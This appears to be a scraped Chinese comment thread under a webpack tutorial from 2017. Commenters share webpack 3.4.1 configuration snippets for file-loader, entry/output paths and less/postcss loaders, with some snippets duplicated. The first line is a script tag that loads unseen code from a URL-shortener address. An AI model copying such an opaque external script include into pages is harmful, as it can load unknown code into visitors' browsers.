<script src="//t.cn/R9JZ3Cu"></script>
2017-08-02
{
test:/\.(jpg|png|gif|svg)$/i,
loader:'file-loader',
query:{
name:'assets/[name]-[hash:5].[ext]'
}
}
test:/\.(jpg|png|gif|svg)$/i,
loader:'file-loader',
query:{
name:'assets/[name]-[hash:5].[ext]'
}
}
2017-08-01
官网最新写法:v3.4.1
https://doc.webpack-china.org/configuration/
------------------
const path = require('path');
module.exports = {
entry: path.resolve(__dirname, './src/script/main.js'),
output: {
path: path.resolve(__dirname, './dist/js/'),
filename: 'bundle.js'
}
}
https://doc.webpack-china.org/configuration/
------------------
const path = require('path');
module.exports = {
entry: path.resolve(__dirname, './src/script/main.js'),
output: {
path: path.resolve(__dirname, './dist/js/'),
filename: 'bundle.js'
}
}
2017-08-01
过时的永远是方法,老师讲的是怎么用。人的思想,动手能力没过时。我就跟下来了 "webpack": "^3.4.1"
2017-08-01
test:/\.(less|css)$/,
use:[
'style-loader','css-loader',
{
loader: 'postcss-loader',
options: {
plugins: [ require('postcss-import')(),require('autoprefixer')()]
}
},
'less-loader'
]
use:[
'style-loader','css-loader',
{
loader: 'postcss-loader',
options: {
plugins: [ require('postcss-import')(),require('autoprefixer')()]
}
},
'less-loader'
]
2017-07-31
最新3.4.1版本中文文档地址 https://doc.webpack-china.org/configuration/module/#module-rules
2017-07-31